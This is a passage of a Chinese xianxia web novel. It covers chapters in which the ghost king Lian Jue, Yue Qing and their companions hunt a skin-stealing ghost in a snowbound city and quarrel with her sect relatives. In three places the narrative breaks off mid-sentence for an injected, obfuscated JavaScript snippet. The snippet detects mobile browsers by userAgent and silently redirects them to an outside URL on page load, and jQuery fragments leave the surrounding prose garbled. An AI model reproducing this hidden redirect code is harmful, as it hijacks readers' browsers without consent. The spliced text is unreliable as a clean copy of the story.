她听着有些难受。
余光之内,却多了一双藕色的绣花鞋,垂下的目光一滞,她蓦然抬起头看过去。
李香香,不,应该说是天魂。
他从路口处行来,疯癫的神色消失不见,只余肃穆与沉重。
他并不太适应这具身体,习惯性大跨步,在娇小的身躯上显得十分别扭。
他努力了半晌,才终于走到月情的面前,跪地而拜,神色复杂激动,唯颤声谢道:“多谢贵人相助,不然我这一生都无法成功报仇。”
月情的眼珠缓慢地动了下,喃喃重复,“成功…报仇?”
“是,”他应了一声,眼中愤恨,语气沉苦,“实不相瞒,这李香香就是杀我之人。如若没有贵人相助,我怕是穷尽生生世世也报不了仇。”
此言一出,全场寂静。
蜻蜓张口结舌,失声道:“害你的人是李香香?!”
天魂沉闷地嗯了一声,他难受道:“正是她。一个月前,鄙人行出海港,抵至冰岸后本想砖洞捕鱼,却突然被人从身后偷袭,等我醒来时,这李香香竟疯了一般撕咬我的身体!”
再度回忆起临死时那痛不欲生的痛苦,他整个人都在颤抖,恨极痛极而悲极。
“她活生生把我吃掉了!”话落,天魂全身颤抖。
他跪在地上,被迫用着最恨之人的身体。纵然报仇了,但天魂也无法有半分痛快之意,只崩溃而凄厉地叫道:“她就是个疯子!疯子!!!”
他蜷缩在地,忍不住痛哭,灵魂都在深深地颤动。
月情看着他,不敢深想,更觉得荒谬。
她吸了口气,温热的雪又黏又重,几乎让她不可呼吸,“你确定是李香香杀了你,再无其他任何人,或者是任何影子?”
天魂深埋在雪中,嗓音极细而哭叫道:“她一口一口撕咬我的皮肉,我怎么可能还会认错,没有其他人,就是她——”
他深深恨,咬牙吞血,“就是她!”
“……”
夜至深而雪更重,月至高而云更厚。
天魂埋在雪堆里,痛苦地悲鸣,那撕心裂肺的痛楚已经深深刻入了他的灵魂、骨髓,令他死不如生、生不如死。
月情看着他缩着身子浑身颤抖,不知所言,嘴唇也惨白至接近透明色。
她想起了李香香蜷缩在墙角,可怜而脆弱地困住自己,一边流泪一边吃枣泥糕瑟瑟发抖的模样。
无论怎么看,李香香都只是个孤苦无依,瘦弱难为的可怜女子……
月情不相信她会杀人,也不觉得她真的会这么疯。
小圆脸说过,李香香一个月前都好好的,是因为去了港口之外——她一顿,抬起眼,看向那一条长长的冰河。
李香香是出海后神志不清,天魂是出海后被杀死。
海上究竟有什么?
月情呼吸一重,迫切道:“大王,我们得出海去看看。”
连绝眼中金色流动炫彩,在冥冥雪夜中微微发光。
他正欲说话应声,一股刺痛忽而从额中心传来。
似针扎破骨肉的细痛。
他下意识闷哼了一声,额中心再度泛出金光。
是不灭金仙。连绝眼中划过一丝不明,紧接着,他强行抑制住了那愈演愈烈的金光,随之轻抚了下灼烫的额头。
月情愣了下,“大王?”
他的指尖流离着热意,刺痛与不安正在蔓延。
不灭金仙在警告他。
但他并未言语,微抿住唇,又放下了手,沉默少许后平静道:“无事。”
月情看着他,欲言又止。
这已经不是不灭金仙第一次出现异常了,而比起上一次,这次的她甚至刺痛了连绝。
无论怎么看都不像他口中的无事。
但他明显不将其放在心上,只低声示意道:“走吧。”
月情微微压下眼眸,没有动,待一边的蜻蜓要跟上去时,她立即伸出一只爪子抓住了他。
她用眼神示意,怎么回事?
蜻蜓一僵,神色难为,摇了摇头。
他声若蚊呐,与她道:“我也不知……跟着大王这么久,我从未见过不灭金仙,只是略有耳闻,但……这和传闻中说得也不一样啊。”
传闻中,不灭金仙又名不灭金身。
所有与连绝交过手的修士都对她感到大骇。
因她虽光影微弱,面目模糊,飘渺不定,但一身金光而生,凡所镀之物,皆刀枪不入、金刚不坏。
凡间不可有,唯天上见一二。
无数人都认定了,这不灭金仙乃是天上的神仙,受伤落凡,被连绝拘魂而定,炼就了这般神兵利器。
蜻蜓不觉得连绝会拘魂,但也以为不灭金仙是属于连绝的“神兵利器”,但现在看来显而易见不是。
这不灭金仙是有自己意识的,甚至还可以反过来制约、影响连绝。
她究竟是什么,是仙还是鬼——无从得知。
而连绝也从不会多提自己的事。
不过,连绝是谁,是修仙界前无古人后无来者的惊天厉鬼。
天底下谁都会遇到危险,唯独他不会。或者说,在修仙界,他才是危险的本源。
所以蜻蜓很放心,又劝解她道:“大王是无敌的,月师傅,你就不必担心了。”
无敌么。
月情在心中默念了一遍,随之扯了下唇角,勾出一个没有弧度的笑。
这世界上不会有任何一个人会是无敌的。
连绝也不会。
**
冰河上。
旋风骤然而舞,卷起阵阵嘶鸣。
呜呜呜——
蜻蜓裹紧了黑披风,艰难行走着,“为什么要把婆婆也带上,这深更半夜地,她哭得好渗人!”
月情道:“你不是鬼吗?你还怕深更半夜再冒出另一只鬼?”
蜻蜓道:“我是不怕鬼,但我怕那位化羽境的大能啊!”
月情又道:“他受伤了,不是你我的对手,你且安心吧。”
蜻蜓又道:“我且安息吧。”
走在最前方的连绝忽而停住了脚步。
一人一鬼立即站定,对视一眼,纷纷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987042|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不明所以。
而这时,蜻蜓的身上忽而冒出了一阵金光,刺目而炫目,仅仅一瞬,他已然成了雪夜中最亮堂的金尊大佛。
而这,正是不灭金仙的神力。
蜻蜓顿时喜上眉梢,立即捧着金光大大拜服,道:“谢谢大王!”
月情惊讶一瞬,抚着下巴略一思考,又出言道:“大王,不可厚此薄彼啊。”
少顷,黑乎乎的港口处就多了一对金灿灿、亮闪闪的“金童玉女”,纵然是天上明月,万千星辰也不及他们瞩目。
而原先不战而退、欲苟又止的二位立即神采飞扬,如若绝世高手,天下第一,对化羽大能不屑一顾,再一脚踏上冰河,雄赳赳、气昂昂,势必要将化羽大能枭首,为惨死之人报仇!
于是乎他们从黑到亮,由近及远,如最勤恳的老黄牛,把这冰河耕了个底朝天。
结果耕了八百里无事发生。
蜻蜓一屁股瘫坐在冰面上,“人呢?鬼呢?毛都没有!”
月情盘腿坐在寒烟上,道:“莫非那位在睡觉?”
一人一鬼陷入沉思。
少宗主呵呵道:“如果是我八百里开外就看见俩灯笼气势汹汹地杀过来,我也躲着不见。”
月情:“………”
她低头看了眼身上亮闪闪的金光,瞬间开始甩锅,“大王,这一定是你的原因。”
连绝偏目过来。
月情深深道:“如若不是你的气息太强劲,他怎么可能将我们放在眼中,恐怕早就现身来捉我们了。”
蜻蜓点了点头,附言道:“有理有据,不得不让人信服。”
连绝看着他们俩,目光幽幽然。
他静静地站立了一会,随之,转头就走。
俩本坐着不动说风凉话的立即爬起来,瞬间变脸,道:“是那恶鬼又菜又怂,是他为鬼界之耻,他怎可与大王相提并论,大王,大王——”
连绝不语,只一味地离开。
他丝毫不给他们抓到自己的机会,迎着风雪,唯独留下一个是我多余的萧瑟背影。
月情见此,也不坐着了,连忙使唤起寒烟快速追了上去。
所见当然只有一张冷峻的脸。
她顿时换上温柔可亲的笑容,声声引导,“大王,我的意思是你可以掩盖气息引他现身。”
见连绝抿着唇微微侧目过来,月情笑意渐深,从袖口处拿出了她一直珍藏着的平安符。
她道:“此物有活人气息,你稍加控制,应该能掩盖森森鬼气,如此,他才会放松警惕,主动地送上门来。”
连绝轻轻落眸,见到一被小心叠好收好的锦囊,其上花纹秀丽,应是她的贴身之物。
他眼珠轻动,沉默良久,又抬起眼眸,而对上月情纯洁又温善的眼睛。
他沉默着,并没有去拿,而是摊开手心,由月情放下来,落在他的手心。
锦囊柔软,沾染着淡淡的冷香,以及她鲜活的温度……
未免灼烫。
他被烫到眼睫轻颤。
少顷,连绝意识到不对劲,垂眸一瞧,他的手心处竟被那锦囊烫出了一枚圆黑小洞。
而锦囊内,开过光的平安符忽而大闪金光,其上梵文挣脱游动,字字串联,如一条金色锁链,紧紧缠住了他的手,灼烧出阵阵黑气。
月情的笑容逐渐凝滞在嘴角。
她对上连绝微微幽暗的眼眸,沉默片刻,道:“我脑子抽了,你信吗?”
他面无表情,显而易见,他不信。
完全不信。
月情:“………”
39. 见悲欢(九)
月情想逃。
而她也确实这么做了。
她默默扯下锁住连绝的平安符,偷瞧了眼他的死亡眼神,随之乘剑而起,飞快闪身。
话说回来,这平安符当初月情还是替他求的,如今才后知后觉,根本用不了。
她忍不住拍了下自己的脑袋,又默默地想,他不会生气了吧。
“晚晚——”
熟悉的声音从岸边传过来,月情抬眸一见,那里正有两道熟悉的身影,一墨蓝,一蓝紫,正是闫星逐与柳篾花。
“小师叔,柳姨?”月情惊讶地从剑上而落,“你们怎么会在这儿?”
闫星逐看看她身后,见并未瞧见连绝,紧绷的神色微微一松,而后又没好气地怼道:“还能是因为什么?”
她尴尬地笑了声,没吱声。
柳篾花则上下打量着她,眉头紧蹙,神色紧张,“你怎么哭了?莫非是那鬼王欺负你了……”
月情愣了下,“什么?”
柳篾花细细地打量着她,以为她想隐瞒,眼睛红了一圈,道:“我都看见了,行云通天境上,你在哭…为什么会哭?”
她一滞,看着他们,喉头轻动,好一会儿没说话。
月情以为他们会因连绝与自己的纠缠而痛苦甚至恼恨许久,却没想到仅仅是一放在行云通天境上她落泪的景象,便令他们不惧危险、千里迢迢地赶了过来。
她动了动唇,心脏酸酸软软,想微笑,但并不能笑出来,只是道:“我…没事,那是我装的。”
柳篾花问,“真的?”
她不住点头,语气诚恳,“真的真的,再没有更真了。”
见她的确活蹦乱跳,没有任何异常。柳篾花才放下心来,后怕道:“没事就好,没事就好……”
闫星逐则眯起眼,他隐约瞧见远处的冰面上有一暗紫身影,心知是谁,眸光一凝,立马抓住月情的胳膊,当机立断,“趁鬼王不在,先把她偷回去!”
月情:“诶——?”
她还没反应过来,就被逮住拽出二里地。
而这时,一道白色身影忽而闪过,呔地一声,一把钳住了闫星逐的手。
那来者不善,冷笑道:“你好大的胆子,竟然偷人偷到我们大王头上来了!”
话是能这么说的吗?!
月情眉心突突跳。
回头一看,那白影居然是风宁。
而正所谓仇人见面分外眼红,闫星逐见他一眼即热血上涌,直接撒开了手,嚓地声拔剑。
风宁哪里是退让的性子,嗤笑一声,凝光随之出鞘!
流星与凝光在空中嗡鸣,两剑相持,一瞬之息,已经打了数个回合。
剑影不绝,杀气腾腾!
“晚晚,走,”而月情刚刚被挤到一边,柳篾花就接过了闫星逐的棒,再次拽住她的手腕,扯着她飞快远离。
她耳中闻风声,满眼凌乱,语无伦次,“…停停停——别打,还有…柳姨,柳姨,我会走,我有腿,别拽我了……”
打架的如火如荼,誓不罢休,偷人的脚步不停,奔逸绝尘。
而月情弱小、无辜、夹在缝中,无人在意。
她默然片刻,忽而深深吸了一大口气,中气十足地大声道:“我说,停!”
空旷的码头,海风呼啸卷席,她的声音在上空不住回荡,一遍又一遍,彻底压过了所有声音。
紧接着,流星与凝光在空中相撞,发出“咣当”一声。
世界静谧一瞬,月情见他们停手,刚松了口气,风宁那厮居然再度出手,一剑斜来直取闫星逐首级。
“卑鄙,”闫星逐嗤之以鼻,他自然不会任由宰割,立即转过手腕,以剑格挡。
铮铮剑鸣声再度响起,剑势凌厉危险,一人一鬼的身影如幻如影,皆打红了眼,看来是要一决生死!
柳篾花见此,眼眉一沉,再度拽起月情。
一口气还没松又提起来的月情:“………”
看来不拿出点硬东西是阻止不了这场闹剧了。
她这次直接运转丹田,以灵气为辅,将这一口气扩大数十倍,一次输出:“风宁是无伤阁阁主!”
剧烈的回声在空旷的码头上剧烈地响起,整个世界都开始为之震颤。
闫星逐道心不稳差点手滑,而柳篾花备受冲击直接倒地。
月情也滚了一身的雪。
不过还好的是,世界终于安静,终于没有人打架,也终于没有人偷人了。
而她终于能松一口气。
路口边却突然传来一震惊于天地之间的叫声,“什么?!”
回头看,正是苏洛然等万剑宗弟子,他们看着风宁,手里还捧着无伤阁的法器,眼神惊愕失色。
“………”
风宁见此微微挑眉,哈哈哈大笑道:“没错,我就是无伤阁阁主,嘻嘻,没想到吧,但这世界上,除了本天才还有谁能如此有能耐?”
他瞬间忘我,大展双臂,道:“尽情地崇拜、膜拜我吧,本阁主大发慈悲,给你们一个顶礼膜拜的机会!”
他的笑声在空旷的码头上肆意飞扬,宛如最邪恶的魔头出世,要奴役万千无辜而可怜的修士。
苏洛然等人还是懵的,被他魔音贯耳般的笑音狠狠攻击后,脑中唯有一个想法——天呐,他们居然买了魔头研制的东西,他们……不干净了!!!
几人眼神惊恐,啪地声扔掉了手中的法器。
“……”
魔头的笑声戛然而止,世界一静,第二次大战的风暴已经开始酝酿。
月情刚松的一口气瞬间就提了起来。
没完没了了是吧!
她立马从雪堆中爬起来,以一己之身抵挡风暴,打岔道:“这不是风宁吗?真巧啊,好久不见呢。”
他慢慢地盯向她,面无表情,半晌后,幽幽道:“你是故意向我炫耀吗?”
月情眨了下眼,一脸茫然、疑惑,“嗯?”
他冷哼一声,阴阳怪气道:“真巧呢,你们出来玩,真巧能碰到我呢。”
月情嗅到十足的酸味,不由觉得好笑,所以他是在怪他们没带他一起出来么?
她眺望到冰原上一个渐行渐近的紫色身影,忽而想起什么,好心提醒道:“你先别管这些,且听我一句话,赶紧跑,拔腿就跑,千万千万不要回头。”
风宁不明所以,愣了下,顺着她的目光回头。
漫长而无边际的冰原之上,连绝的身影已经要靠近至荒废许久的码头处。
月情深深道:“你现在跑还来得及。”
“我为什么要跑?”风宁语气莫名,又主动冲着那身影走过去不知死活地忿忿道:“大王,你带他们出去玩居然不叫我?!”
连绝注意到他,目光
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992379|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缓缓落在他身上。
不太愉悦的事瞬间倒映在他的脑海,他眯起眼眸,暗色的眼中凛冽出寒冰般刺人的杀意。
风宁:“……?”
风宁不解,但他还是敏锐地感觉到了一丝危险的气息。
他忍不住朝后退了一步。
但、已经太晚了——
而下一秒,他就荣幸地成为了卢嘉城的必拍景点。
月情抚住下巴默默摇头,“不听我言,吃亏在眼前,活该。”
风宁:“……”
他此时动弹不得,言语不了,宛如一被牢牢掌控的木偶,唯有两颗眼珠子还能动弹。
蜻蜓见此,有些心虚,不过为了戴罪立功,他又主动上前请缨道:“大王,风宁此举实在是过分,必须得好好惩治他。”
风宁转动了下眼珠,没有表情,但却能看出隐藏其中的滔天怒意。
他用尽了全身的力气,将唯剩的两颗眼珠子动起来,死命地瞪他。
蜻蜓被他瞪得心虚气短,咳嗽两声,不由退后了一步。
连绝抬起眼,而下一瞬,风宁仅存的一对眼珠子也失去了光彩。
他道:“你有主意?”
蜻蜓一滞,注意到他的视线,立即端正起来,道:“正所谓以其人之道还治其人之身——”
他说着,眼珠一转,捧出圆镜来,表情逐渐微妙恶意。
“今日居然逮住了恶鬼风宁,且问各位道友,该如何惩治他为妙?”
月情站在旁边凑近瞄了一眼,啧啧两声。
这个消息未免太重磅,刚一砸出去,就溅起了大片大片的水花。
整个修仙界都为之一震。
众修士都不敢相信那臭名昭著的跳蚤被抓住了,反复确认了好几次。
确定是风宁后,金字留言更是刷刷刷往上弹,众修士群情激奋,骂骂咧咧,恨不能瞬身来到此处:
——“让我来,我要把他当初抽我的抽回去,抽成陀螺!”
——“我靠,终于让我逮住机会报复你这个狗东西了!道友,快把他变成女相,让他去勾引他兄弟!”
——“等等等等,这是正经能说的吗?难道不应该顷刻炼化以绝后患吗?”
——“哈?炼化他实在是太便宜他了,我要把他转手卖到南鼎去挖矿,还不给工钱!!”
……
蜻蜓目瞪口呆,不敢相信道:“这几十年你到底背着我们在修仙界干了多少没有鬼性的事?”
风宁:“……”
他深切道:“大王,此恶鬼实在作恶多端,不仅欺上瞒下,还干出这等令鬼不耻之事,我提议,将他从四大护法中除名!”
连绝闻言扯唇淡笑,冷声道:“四大护法?我只闻无伤阁阁主。”
风宁:“……”
月情站在一旁,暗自思忖。
果然,矛盾不会消失,只会转移。
现在连绝一点儿也不生她的气了,看来风宁关键时刻还是顶顶有用的。
而这时,她的胳膊忽而被人偷偷架住,那股熟悉的偷人力度又回来了,回头一看,闫星逐与柳篾花一人扛起了她的一边,架住她后谨慎地对视一眼,随之压住气息转头就跑。
月情:“?”
俩人悄声商议道:“趁他们没注意,先把她偷走。”
所以今天这个人他们偷定了是吧!
40. 见悲欢(十)
“小师叔,柳姨,我要除邪问道,斩批皮鬼,是不会跟你们回去的!”
闫星逐不信,“你斩鬼那位能答应?”
“他就是来助我的,”月情顿了一下,感觉不太严谨,又道:“是我来助他的…嗯,我们互相帮助。”
净月宗二人对视一眼,眼神浮动,深深质疑道:“他清理门户还需要你帮忙,让你扫地吗?”
月情:“……”
顿了顿,她又振声道:“他当然需要我,他害怕孤独!”
闫星逐惊道:“完蛋了,月晚比之前更疯、更脑残了!”
柳篾花骂道:“你能不能背着点孩子,她已经受了很多折磨了!”
说着,她又心疼地对她道,“晚晚,不管你变成什么样,柳姨都不会放弃你的。”
月情:“……”
这能是亲师叔?
她又吸气,大叫道:“大——”
王字还未吐出来,立即被捂住,闫星逐与柳篾花被迫停下,二人神色紧张、警惕,又死死地瞪她。
她眨了下眼,微微弯唇,施施然地拍干净身上的落雪,这才把剩下的一个字给吞了回去。
闫星逐与柳篾花皆一副恨铁不成钢地看着她,想要好好说教说教,一阵低泣声却远远地传来。
这地方实在是太空旷,一点声音都被无限放大,而那低泣声更如缥缈的幽鬼,随风而裹,迎风而大,无处不在,无处不有。
实在是渗人得厉害。
月情回头看,一眯眼,这才发现原来是他们落在冰原的老婆婆游荡回来了。
她并未太多在意,抬眸却见闫星逐与柳篾花皆怔然在原地,盯着那游魂,眼瞳失神,眼眶发红,呆呆不语,要哭不哭。
“……”
再一转头,路口的苏洛然等万剑宗弟子也呆在了原地,表情崩溃委屈。
月情不语,只一味地捂住了自己的耳朵。
而下一秒,码头上就传来了阵阵嚎哭声。
左边呜呜,右边哇哇。
此起彼伏,连绵不绝。
而她被夹在中间,一个头两个大。
月情:“……”
有没有人来管管?
而这时,一枚传信玉令忽而从天边划过金色弧光,正正落到哽咽啼哭的苏洛然面前。
他一边流泪,一边拆解,一边□□地念,“大师兄,城外…城外也发现…批皮鬼了…呜呜,怎么城外也有了,呜呜呜……”
月情正命苦地微笑着,乍然听到此言,愣了好一会儿,“你说什么?”
苏洛然抹着啪嗒啪嗒砸落的泪水,绝望道:“不好了,少宗主,怎么办啊,明明只有城里有批皮鬼,可现在城外也有……到底有几个,救命啊少宗主,我为什么没有查出来,为什么没有抓到,是我的错……是我的错……”
他悲伤得不能自已,眼泪不住地往下滚。
痛苦地哀嚎。
月情实在是措手不及,连忙道:“这不是你能处理的。我们的对手可是一位化羽境的恶鬼……”
“化羽境?”苏洛然呆了一下,紧接着哭得更伤心了,“是化羽境,完蛋了,我们完蛋了……”
而他身边几位万剑宗的弟子,听见化羽境三个字简直宛如天塌了一般,瞬间面无血色。
月情忍不住怪自己多嘴,听着他们崩溃地嚎啕大哭,沉默片刻后高声打断道:“没有完蛋!”
她道:“我们这边也有一位化羽境!”
众人看向她所指的方向,白茫茫的大雪映着炫目的阳光,一望无际的雪原之上,冰冷的少年屹立于此,锋锐的眉眼中是毫不掩饰的厌色与杀机,虽然身形还算瘦削与单薄,但在冰天雪地里,却又如此地可靠。
但是——
那分明是比批皮鬼更可怕的鬼王啊啊啊啊啊!
几人更绝望地悲鸣,“是鬼王,我们彻底完蛋了!呜呜呜……”
月情:“……”
她默默捂住了耳朵,同样感到深深地绝望,为什么她要遭受这样的折磨,这简直是比连绝厌食都要让她痛苦!
她叫道:“大王,救命啊——”
连绝同样被这哭声硬控而僵硬,不知多久,他忽而道:“封灵玉。”
月情一怔,立即如抓住了救命稻草,眸光发亮,连忙拿出那封灵玉将老婆婆封了进去。
果然,没了老婆婆的影响,闫星逐与柳篾花已经渐渐恢复正常,只是神色异样、古怪。
苏洛然等一行弟子也呜呜咽咽地停止了哭声。
不过他们之前未与连绝打过交道,此时此刻心知修仙界的大魔头鬼王就在身边,皆如惊弓之鸟,警惕地抓着剑,围成一个圈,视死如归般牢牢守护着彼此的后背。
“不必紧张,连绝不会伤害你们的,”月情劝解一句,见他们不信,随之又补充道:“是真的,若他真要动手,早就动手了。”
苏洛然道:“少…少…少宗主说得是,不…不必紧张。”
他一边哆嗦一边咽口水,强颜欢笑,“反正,反正,大不了,就是…就是一死……”
“你站稳了再说话,”月情盯着他打颤的腿窝,又深深蹙起眉,“你方才是说城外也冒出了批皮鬼?”
苏洛然的脸色愈发惨白,他紧握着剑,手腕僵硬,道:“是……”
月情呼吸一重,“怎会如此?”
苏洛然面色凝重地摇了摇头,神思不宁。
事情愈发严重了。
一行人一路出城,城门此时已然大开,昨日城门处围聚的民众已经骇然地逃走了,眼下唯余万剑宗的一干修士。
而之前那被追捧的所谓无比安全的草棚则已经是一地的血水。
众人嗅到深深的血腥气,洁白盈盈而亮的雪更是被染成了猩红夺目的赤色。
而草棚里,一具具尸体横七竖八,面容惊恐、痛苦、愤恨。
且无一不是鹤发鸡皮的佝偻老人,与义庄内被批皮鬼杀掉的尸体如出一辙。
“大师兄,”一弟子神色灰白,嘴唇嚅动,“我…昨夜是我在守夜,我没发现,我不知道……对不起,对不起……”
苏洛然的脸色也惨白如纸,看着草棚里死掉的人,不住发颤,“这一个月…一整个月,死掉的也不足昨夜多……”
月情注意到这草棚是画了符文咒法的。
她道:“苏洛然,我且问你,这一个月以来,你们设过法阵的地方是不是从未出现过批皮鬼?”
苏洛然神色悲戚,缓了一会儿才点了点头。
可现在出现了。
月情神色逐渐凝重,她道:“难道那化羽恶鬼的伤势已经养好了?”
她们至今为止还未找到批皮鬼的真身,未与其交过手,可批皮鬼却宛如无处不在,神出鬼没。
敌在暗,我在明。
而对手又修为通天。
如果再继续放任下去,只怕会酿成大祸。
“……四十九云天。”
喑哑而隐忍的嗓音忽而在这一小方天地传出,众修士一怔,反应过来是什么,皆是一阵心惊肉跳。
月情则微微一怔,喃喃,“四十九云天?”
她回头去见。
连绝站在不远处,正盯着那满是尸体、血水的草棚,他眼神沉沉,而墨黑的眼珠中,隐隐遗留出丝丝缕缕的赤色。
他似在回忆,又似在挣扎。
那一片血色的世界,是一片望不见尽头的沼泽。
而他深陷其中。
少宗主道:“今时映昔日,连绝,你看着这一地的尸体,也想起来自己亲手所造下的杀孽了。”
月情眸光微烁。
七十七年以前,鬼王还未出世。
彼时修仙界灵气充裕,繁华富足,安定祥和,而修士频出。
那是修仙界最盛大的灿烂时代。
也是头一朝,天下竟同时出了七位化羽境的修仙大能。
彼时的修仙盟还为千道盟,因时日长久,未免破败,与如今鼎盛的修仙界格格不入。
故,七位大能决定要重建千道盟,所谓大手一展,四十九云天即横
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996717|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空出世。
这个名字,寓意极深。
化羽境为修仙大道第七层境界,而他们诸位也有七位。
七,是修仙界之极,而四十九云天,则是极中之极,谓之修仙界登峰造极的绝世殿堂。
是荣誉、是地位、更是无可比拟的权力。
彼时彼刻,这七位大能把酒言欢,笑傲天下。
而四十九云天建成那一刻,恢弘至极,迷人至极,正如天上宫阙,人间仙境。
——窥天机,踏云浪,见明月,揽星辰。
非神已是神,非仙已是仙。
修为以极,权力以极。
他们已经非人也,而是神,修仙界的神。
但,这所谓的七位神,却万万没想到,有一日有一天,一闻所未闻的厉鬼,竟会以血覆云天,独来弑神!
昔时,月情只闻少宗主所言,而今日,她才算亲临其境,看见了尸横遍野、血水涟涟的一幕。
而其余人也想到了鬼王屠灭四十九云天一事,他们自小所闻鬼王的凶厉可怖,骨子里都带着对鬼王的深深惧意。
所见此一幕,而鬼王又阴冷地提及四十九云天,只觉当头一棒,心口震碎,而口不能言,鼻不能呼,眼不能见,耳不能听。
此间死沉沉地一片寂静,几乎不闻呼吸声,唯余天地间浩浩渺渺的落雪声。
连绝闭目敛下眸中异色,那些血腥的,红的白的画面交杂而替。
一遍遍冲击着他破碎不堪的记忆。
他的额中心再次沉沉一痛,而金印大放异彩,灼灼发亮。
他抿唇按住眉心,那金光却不如之前一般被压制、消失,而是愈演愈烈,照出一片刺目光华。
片刻后,那金色才彻底消失无踪。
连绝缓缓睁开眼。
那双眼睛深处唯余一片幽暗的冰冷,不见方才的异色与挣扎。
洁净的雪,赤目的红,零零散散的人。
连绝的眼神不明而陌生。
他停顿了一下,才困惑地低声询问道:“这是何处?”
蜻蜓呆愣在原地,好半晌才道:“卢…嘉城……”
卢嘉城?
他从未听说过这地方,又发现这里有许多陌生的修士,不由沉声问:“怎么回事?”
蜻蜓傻眼了,想说什么,嘴唇却张张合合,一个字都吐不出来,他彻底傻眼,咳嗽两声,嗓子又被死死堵住。
月情见此一幕,心头一沉。
是不灭金仙。
她想起了那天在青云书院,她对视上的那双如明镜台一般的模糊双眼。
……她不明白,不灭金仙为什么一直要阻止连绝插手这件事。
这其中,到底有什么因果。
是因为那四十九云天吗?
月情没有多言,眼珠在连绝身上轻轻游移,片刻后,她敛下了所有的情绪。
又牵起唇角,微笑道:“大王,你忘了吗,我们是来此地游玩的。”
而随着她清脆而微扬的声音宣扬而出,连绝也隐约间想起来他们一起买过酒,散过步。
他微微失神,这么多年,除了青云城外,这是他第一次离开见云山。
他不太适应,也不喜欢这么多的人,不由轻轻抿唇。
月情觉察到他细微的情绪变化,又轻声笑着说:“大王,这卢嘉城八月盛夏而落雪,实在是奇景,所以才有如此多的人观瞻。”
连绝闻言无声地点了点头。
并没有表达自己的看法。
她立即道,“已经玩了一天了,是该歇一会儿了。”
说着,月情有些犯累地揉了揉手腕,又冲蜻蜓招手,后者如梦初醒,僵硬着笑脸点头,“是啊,好累、好累……”
此处的气氛古怪至极,唯月情盈盈而笑,温声细语地说着如今这温热的大雪,与连绝搭话。
他缄默地听着,轻垂眼,仔细聆听,时不时点头回应一二。
竟然有几分莫名地和谐。
如果忽略掉血淋淋现场,以及横陈的尸体。
41. 见悲欢(十一)
不过连绝对此漠不关心,已经完全接受了出来游玩的说法。
月情示意蜻蜓将木偶风宁带上,先行进城,蜻蜓一脸纠结,欲言又止。
过了会儿,他又迟疑地说,“不然…我们回…见云山吧。”
这一两天发生的事实在是太诡异了,暂且不提神出鬼没是为化羽境的批皮鬼,在他心里无所不能、无所不可的连绝竟然出现了失忆,或者说失控的情况——
蜻蜓退意萌生,心中惧意更盛。
月情明白他的顾虑,卢嘉城现在的局势不明朗,连绝也出现了状况,继续待在这里,指不定会出现更大的意外。
甚至说不定也会变成其中的一具尸体。
她一沉吟,却道:“不能走。”
蜻蜓眼神动了动,眼底流露出不解与焦躁。
月情见此,主动上前拍了拍他的肩膀,又笑着道:“才来了一天,何必急着走,至少也要待三天才算不虚此行呀。”
她又回头,冲连绝笑道,“大王,你说是吧。”
连绝闻言并不言语,眼珠缓慢地移动,看见了四处泛着血腥气的尸体。
他意识到什么,目光又落定在月情身上,看着她微微而笑的清丽面容,最终仍旧未言,只点了点头。
月情便道:“既然大王答应了,那我们就再待两天,玩够了再回去。”
蜻蜓面色难为,被她递来一个眼神堵住了嘴,只好歇了心思,默认下来。
“先回客店吧。”月情示意心思各异的几只鬼跟上。
走了三步远,她又停住步子,回头道:“苏洛然,感谢你推荐的游玩处,如果还有下次,我一定去仙盟找你。”
她着重咬了咬仙盟两个字。
苏洛然这才回神,神思恍惚一瞬后,又面色苍白地握紧了手,应道:“…好。”
半路上,蜻蜓抱着木偶心思焦躁不安,一路上东张西望,总觉得有人盯着他们,惴惴不安。
他很想问月情为什么不立刻离开,还要留下来,但碍于连绝的状况,他又不好说。
正烦躁之时,前面的月情忽而停住了脚步,远远眺望着前方的路口。
一个人正踉跄着惊惶地奔袭而来,嘴里大叫着救命,救命啊——
定睛一看,那人竟然是在玄女庙中有过一面之缘的小圆脸。
小圆脸浑身是血,跌跌撞撞地跑,好似后面有鬼在追,她一边跑一边在地上爬,哆哆嗦嗦浑身打颤,惊恐地叫着,“救命!救命!是批皮鬼,是批皮鬼!!!”
月情连忙掠身而近,直接托起了在雪地上跌倒的小圆脸,后者面无血色,像被水里捞出来了一般,浑身发抖,看见她后,还在哆嗦,道:“仙子,仙子…快,快,玄女庙……”
闻言,月情脸色一沉,她立即持剑赶往玄女庙。
还未彻底靠近,就闻见了阵阵浓郁的血腥气,而其中,残肢碎尸无数,血水蔓延其中,几乎要没过门槛。
